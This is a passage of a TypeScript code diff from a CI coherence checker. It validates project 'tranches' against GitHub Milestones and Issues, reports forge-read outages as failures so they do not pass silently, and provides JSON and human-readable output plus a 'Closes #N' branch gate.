for (const e of availableEntries) {
|
|
834
|
+
const list = entriesBySlug.get(e.trancheSlug) ?? []
|
|
835
|
+
list.push(e)
|
|
836
|
+
entriesBySlug.set(e.trancheSlug, list)
|
|
837
|
+
}
|
|
838
|
+
results.push(checkL1(files, entriesBySlug))
|
|
839
|
+
results.push(checkL2(files, entriesBySlug))
|
|
840
|
+
|
|
841
|
+
// L4 — Issue-level Milestone-attachment drift (aeg-review-gate-v1 task 1
|
|
842
|
+
// follow-up). Active = forge Milestone open, the same authority
|
|
843
|
+
// `verify-dispatch.ts`'s Milestone-aware discovery uses — not `!f.archived`
|
|
844
|
+
// (file location), so this never flags a tranche whose file predates
|
|
845
|
+
// the Milestone birth rule but has no live Milestone yet.
|
|
846
|
+
//
|
|
847
|
+
// Restricted to LEGACY slugs only (vinaya-milestone-model-v1 task 1):
|
|
848
|
+
// `sweep.milestones.active` now also carries label-only active tranches,
|
|
849
|
+
// for which the exact-title-match invariant L4 evaluates is meaningless (a
|
|
850
|
+
// Milestone shared by several tranches will never be titled any one of
|
|
851
|
+
// their slugs). `TrancheMilestoneIndex.legacySlugs` is the set L4 still
|
|
852
|
+
// applies to — everything else is silently out of scope, not a finding.
|
|
853
|
+
//
|
|
854
|
+
// Both halves read the sweep's own data rather than re-fetching it: the open
|
|
855
|
+
// Milestone list is the index it already pulled, and each slug's
|
|
856
|
+
// Milestone-attachment facts derive from the very Issue list its task
|
|
857
|
+
// derivation used (`gh issue list --json ... milestone` carries the
|
|
858
|
+
// attachment). Re-fetching cost 7.5 s of a 26 s run for bytes already in
|
|
859
|
+
// hand. Same authority, same facts — only the round trips are gone.
|
|
860
|
+
//
|
|
861
|
+
// The index is also the ONLY authority either check has: with it lost,
|
|
862
|
+
// `sweep.milestones` is null, the active list is empty, and both checks read
|
|
863
|
+
// that as "no active tranche has any drift" and report clean. That vacuous
|
|
864
|
+
// green is what the enumeration guard above refuses when the index failure
|
|
865
|
+
// leaves nothing at all to check — but that guard is gated on `files` being
|
|
866
|
+
// empty, so the moment one topology file survives to populate `files` the
|
|
867
|
+
// same outage passes silently here instead. Reachable in any repo that still
|
|
868
|
+
// carries `aeg-root/tranches/completed/*.md`, and on any plan PR that reads
|
|
869
|
+
// its own topology file from the head. It does not even take an outage:
|
|
870
|
+
// `indexTrancheMilestonesAsync` reads through `gh` while A1/A2/A3's snapshots
|
|
871
|
+
// read through octokit, so a `gh auth token` keyring failure alone produces
|
|
872
|
+
// an index-less run with `anyForgeUnavailable` still false. The pre-refactor
|
|
873
|
+
// path could not do this — L4/L5 called `listActiveTrancheSlugs`
|
|
874
|
+
// synchronously and uncaught, so an index failure killed the run rather than
|
|
875
|
+
// passing it. Neither check runs without its authority; the gap is reported.
|
|
876
|
+
if (sweep.milestoneIndexFailed) {
|
|
877
|
+
results.push({
|
|
878
|
+
check: 'FORGE',
|
|
879
|
+
status: 'fail',
|
|
880
|
+
failures: [],
|
|
881
|
+
note: 'severity:infra — the Milestone index could not be read, so L4 and L5 had no active-tranche authority and did not evaluate anything. Tranches resolved from topology files were still checked by everything above. Re-run once the forge is reachable.'
|
|
882
|
+
})
|
|
883
|
+
} else {
|
|
884
|
+
const milestoneActiveSlugs = (sweep.milestones?.active ?? []).map((m) => m.slug)
|
|
885
|
+
const legacyActiveSlugs = milestoneActiveSlugs.filter((slug) => sweep.milestones?.legacySlugs.has(slug))
|
|
886
|
+
// The sweep fetches only the slugs its own composition needed, so a tranche
|
|
887
|
+
// resolved entirely from the PR head (or already present in `files` without
|
|
888
|
+
// consulting the forge) may have no entry here — top up just those, bounded.
|
|
889
|
+
// Scoped to legacy slugs: a label-only active tranche is never an L4 input,
|
|
890
|
+
// so its Issue list is never fetched here on L4's account.
|
|
891
|
+
//
|
|
892
|
+
// Deliberately NOT wrapped in a catch that substitutes an empty list: to L4
|
|
893
|
+
// an empty Issue list is indistinguishable from "this tranche has no
|
|
894
|
+
// attachment drift", so swallowing a transient forge failure here would
|
|
895
|
+
// report a clean advisory rather than an unavailable one. The pre-refactor
|
|
896
|
+
// path (`listIssueMilestonesForSlug`, a synchronous uncaught `gh` call)
|
|
897
|
+
// propagated and failed the run; that fail-closed behaviour is preserved.
|
|
898
|
+
const missingIssueSlugs = legacyActiveSlugs.filter((slug) => !sweep.issuesBySlug.has(slug))
|
|
899
|
+
const toppedUp = await mapWithConcurrency(missingIssueSlugs, FORGE_FETCH_CONCURRENCY, async (slug) => {
|
|
900
|
+
try {
|
|
901
|
+
return { slug, issues: await fetchTrancheIssuesAsync(owner, repoName, slug) }
|
|
902
|
+
} catch {
|
|
903
|
+
return { slug, issues: null }
|
|
904
|
+
}
|
|
905
|
+
})
|
|
906
|
+
const l4UnavailableSlugs: string[] = []
|
|
907
|
+
for (const { slug, issues } of toppedUp) {
|
|
908
|
+
if (issues === null) l4UnavailableSlugs.push(slug)
|
|
909
|
+
else sweep.issuesBySlug.set(slug, issues)
|
|
910
|
+
}
|
|
911
|
+
|
|
912
|
+
// A failed top-up is neither swallowed nor thrown. Substituting an empty list
|
|
913
|
+
// would make L4 read "no attachment drift" for a tranche it never saw;
|
|
914
|
+
// throwing would empty this process's stdout, which in `--json` mode must
|
|
915
|
+
// stay parseable JSON for the CI job that pipes it to `jq`. So the tranche is
|
|
916
|
+
// withheld from L4's inputs and the gap is reported below.
|
|
917
|
+
const l4Slugs = legacyActiveSlugs.filter((slug) => !l4UnavailableSlugs.includes(slug))
|
|
918
|
+
const issueMilestones = l4Slugs.flatMap((slug) =>
|
|
919
|
+
issueMilestonesFromIssues(sweep.issuesBySlug.get(slug) ?? []).map((f) => ({ tranche: slug, ...f }))
|
|
920
|
+
)
|
|
921
|
+
results.push(checkL4(l4Slugs, issueMilestones))
|
|
922
|
+
if (l4UnavailableSlugs.length > 0) {
|
|
923
|
+
results.push({
|
|
924
|
+
check: 'FORGE',
|
|
925
|
+
status: 'fail',
|
|
926
|
+
failures: l4UnavailableSlugs.map((slug) => ({
|
|
927
|
+
tranche: slug,
|
|
928
|
+
reason:
|
|
929
|
+
"Forge read failed while collecting L4's Milestone-attachment facts — L4 did not evaluate this tranche."
|
|
930
|
+
})),
|
|
931
|
+
note: `severity:infra — ${l4UnavailableSlugs.length} tranche(s) were withheld from L4 because their Issue list could not be read. Re-run once the forge is reachable.`
|
|
932
|
+
})
|
|
933
|
+
}
|
|
934
|
+
|
|
935
|
+
// L5 — forge-native completeness coherence (Issue #481, drift class #2):
|
|
936
|
+
// an active tranche whose every task Issue is closed. Forge-native
|
|
937
|
+
// analogue of file-based L1 for post-cutover tranches that have no
|
|
938
|
+
// topology file. Uses the FULL `milestoneActiveSlugs` (legacy AND
|
|
939
|
+
// label-only), unlike L4 above — L5 reads per-task Issue state, not
|
|
940
|
+
// Milestone attachment, so it applies uniformly regardless of whether a
|
|
941
|
+
// tranche has a legacy Milestone. Authoritative as of
|
|
942
|
+
// vinaya-milestone-model-v1 task 1 (`checkL5` now returns `status: 'fail'`
|
|
943
|
+
// on any finding) — a `fail` here blocks CI the same as A1/A2/A3/M1/M3.
|
|
944
|
+
results.push(checkL5(milestoneActiveSlugs, entriesBySlug))
|
|
945
|
+
}
|
|
946
|
+
|
|
947
|
+
// N/M stubs
|
|
948
|
+
results.push(...checkM1M2M3())
|
|
949
|
+
|
|
950
|
+
// Coverage gap, not a drift finding: these tranches were never read, so every
|
|
951
|
+
// check above passed them by default rather than on evidence. Reported at the
|
|
952
|
+
// same severity as a missing token — the run is not trustworthy, and saying
|
|
953
|
+
// so is the difference between an outage and a false green.
|
|
954
|
+
if (sweep.unavailableSlugs.length > 0) {
|
|
955
|
+
results.push({
|
|
956
|
+
check: 'FORGE',
|
|
957
|
+
status: 'fail',
|
|
958
|
+
failures: sweep.unavailableSlugs.map((slug) => ({
|
|
959
|
+
tranche: slug,
|
|
960
|
+
reason: 'Forge read failed and no topology file exists — this tranche was omitted from every check in this run.'
|
|
961
|
+
})),
|
|
962
|
+
note: `severity:infra — ${sweep.unavailableSlugs.length} tranche(s) could not be read from the forge and had no topology file to fall back to. Their checks did not run; re-run once the forge is reachable.`
|
|
963
|
+
})
|
|
964
|
+
return { results, forgeUnavailable: true }
|
|
965
|
+
}
|
|
966
|
+
|
|
967
|
+
// A lost Milestone index counts as forge-unavailable even when every other
|
|
968
|
+
// fetch succeeded: L4 and L5 did not evaluate, and the human-facing banner
|
|
969
|
+
// that says "forge-dependent checks may be incomplete" is exactly true.
|
|
970
|
+
return { results, forgeUnavailable: anyForgeUnavailable || sweep.milestoneIndexFailed }
|
|
971
|
+
}
|
|
972
|
+
|
|
973
|
+
// ---------- output ------------------------------------------------------------
|
|
974
|
+
|
|
975
|
+
function printHuman(results: CheckResult[], forgeUnavailable: boolean): void {
|
|
976
|
+
if (forgeUnavailable) {
|
|
977
|
+
console.warn('\n⚠ Some tranches had forge data unavailable — forge-dependent checks may be incomplete.\n')
|
|
978
|
+
}
|
|
979
|
+
|
|
980
|
+
const failed = results.filter((r) => r.status === 'fail')
|
|
981
|
+
const passed = results.filter((r) => r.status === 'pass')
|
|
982
|
+
const info = results.filter((r) => r.status === 'info')
|
|
983
|
+
|
|
984
|
+
console.log(`verify-coherence: ${passed.length} passed, ${failed.length} failed, ${info.length} info\n`)
|
|
985
|
+
|
|
986
|
+
for (const r of info) {
|
|
987
|
+
console.log(` [info] ${r.check}: ${r.note ?? ''}`)
|
|
988
|
+
}
|
|
989
|
+
|
|
990
|
+
if (failed.length === 0) {
|
|
991
|
+
console.log('All checks passed.')
|
|
992
|
+
return
|
|
993
|
+
}
|
|
994
|
+
|
|
995
|
+
console.error(`\nFAILED CHECKS (${failed.length}):\n`)
|
|
996
|
+
for (const r of failed) {
|
|
997
|
+
if (r.note) {
|
|
998
|
+
console.error(` ✗ ${r.check}: ${r.note}`)
|
|
999
|
+
continue
|
|
1000
|
+
}
|
|
1001
|
+
console.error(` ✗ ${r.check} (${r.failures.length} failure(s)):`)
|
|
1002
|
+
for (const f of r.failures) {
|
|
1003
|
+
const issueStr = f.issue != null ? ` #${f.issue}` : ''
|
|
1004
|
+
const taskStr = f.task ? ` [task ${f.task}]` : ''
|
|
1005
|
+
console.error(` ${f.tranche}${issueStr}${taskStr}: ${f.reason}`)
|
|
1006
|
+
}
|
|
1007
|
+
}
|
|
1008
|
+
}
|
|
1009
|
+
|
|
1010
|
+
// ---------- CLI entry point --------------------------------------------------
|
|
1011
|
+
|
|
1012
|
+
if (import.meta.main) {
|
|
1013
|
+
const args = process.argv.slice(2)
|
|
1014
|
+
|
|
1015
|
+
// --closes-n: Closes #N gate for task branches (CI Layer 1).
|
|
1016
|
+
// Reads BRANCH and PR_BODY from env. Exits 0 on pass/bypass, 1 on fail.
|
|
1017
|
+
if (args.includes('--closes-n')) {
|
|
1018
|
+
const branch = process.env.BRANCH ?? ''
|
|
1019
|
+
const prBody = process.env.PR_BODY ?? ''
|
|
1020
|
+
if (!branch) {
|
|
1021
|
+
console.warn('closes-n: BRANCH env var not set — skipping (non-task context).')
|
|
1022
|
+
process.exit(0)
|
|
1023
|
+
}
|
|
1024
|
+
// Scoped load: checkClosesN only ever reads the ONE tranche named in
|
|
1025
|
+
// the branch — deriving every other tranche from the forge here would
|
|
1026
|
+
// pay the full repo-wide sweep's latency for data this gate never uses.
|
|
1027
|
+
const branchTrancheSlug = branch.match(/^task\/([^/]+)\//)?.[1]
|
|
1028
|
+
const files = await loadTrancheFiles(null, branchTrancheSlug)
|
|
1029
|
+
|
|
1030
|
+
// Reverse-direction data: resolve every `Closes #N` the body references
|
|
1031
|
+
// to its AEG task identity, one batched forge query (not a per-issue
|
|
1032
|
+
// loop — see `fetchTaskIssueRefs`'s own doc comment). A non-task branch
|
|
1033
|
+
// (no `repo` resolvable, or the forge unreachable) still runs the
|
|
1034
|
+
// forward direction below; the reverse check simply has nothing to flag.
|
|
1035
|
+
const repo = await resolveRepo()
|
|
1036
|
+
const taskIssueRefs = repo
|
|
1037
|
+
? await fetchTaskIssueRefs(repo.owner, repo.repo, [...extractClosesReferences(prBody)])
|
|
1038
|
+
: undefined
|
|
1039
|
+
const result = checkClosesN(branch, prBody, files, taskIssueRefs)
|
|
1040
|
+
if (result.ok) {
|
|
1041
|
+
const issueStr = result.expectedIssue ? ` (Closes #${result.expectedIssue} ✓)` : ''
|
|
1042
|
+
console.log(`closes-n: branch "${branch}" passes${issueStr}.`)
|
|
1043
|
+
process.exit(0)
|
|
1044
|
+
}
|
|
1045
|
+
console.error(`closes-n FAILED: ${result.message}`)
|
|
1046
|
+
process.exit(1)
|
|
1047
|
+
}
|
|
1048
|
+
|
|
1049
|
+
const jsonOnly = args.includes('--json')
|
|
1050
|
+
const humanOnly = args.includes('--human')
|
|
1051
|
+
|
|
1052
|
+
// PR context for item 5/T2-relocation — set only by the
|
|
1053
|
+
// coherence-gate CI job (forge-lifecycle.yml). Absent everywhere else
|
|
1054
|
+
// (local dev, daily-drift, manual --json audit runs): every tranche
|
|
1055
|
+
// file reads from origin/main and T2 stays info-only (never blocking).
|
|
1056
|
+
const prHeadSha = process.env.PR_HEAD_SHA || null
|
|
1057
|
+
const touchedFilesRaw = process.env.PR_TOUCHED_FILES ?? ''
|
|
1058
|
+
const touchedFiles = new Set(
|
|
1059
|
+
touchedFilesRaw
|
|
1060
|
+
.split('\n')
|
|
1061
|
+
.map((f) => f.trim())
|
|
1062
|
+
.filter(Boolean)
|
|
1063
|
+
)
|
|
1064
|
+
const prContext = prHeadSha ? { prHeadSha, touchedFiles } : null
|
|
1065
|
+
const isPlanPr = touchesAnyTopology([...touchedFiles])
|
|
1066
|
+
|
|
1067
|
+
const { results, forgeUnavailable } = await runCoherenceChecks({ prContext, isPlanPr })
|
|
1068
|
+
|
|
1069
|
+
const failed = results.filter((r) => r.status === 'fail')
|
|
1070
|
+
const passed = results.filter((r) => r.status === 'pass')
|
|
1071
|
+
const info = results.filter((r) => r.status === 'info')
|
|
1072
|
+
|
|
1073
|
+
const report = {
|
|
1074
|
+
summary: { passed: passed.length, failed: failed.length, info: info.length },
|
|
1075
|
+
forgeUnavailable,
|
|
1076
|
+
checks: results
|
|
1077
|
+
}
|
|
1078
|
+
|
|
1079
|
+
if (!humanOnly) {
|
|
1080
|
+
console.log(JSON.stringify(report, null, 2))
|
|
1081
|
+
}
|
|
1082
|
+
|
|
1083
|
+
if (!jsonOnly) {
|
|
1084
|
+
if (!humanOnly) console.log('') // separator
|
|
1085
|
+
printHuman(results, forgeUnavailable)
|
|
1086
|
+
}
|
|
1087
|
+
|
|
1088
|
+
process.exit(failed.length > 0 ? 1 : 0)
|
|
1089
|
+
}
|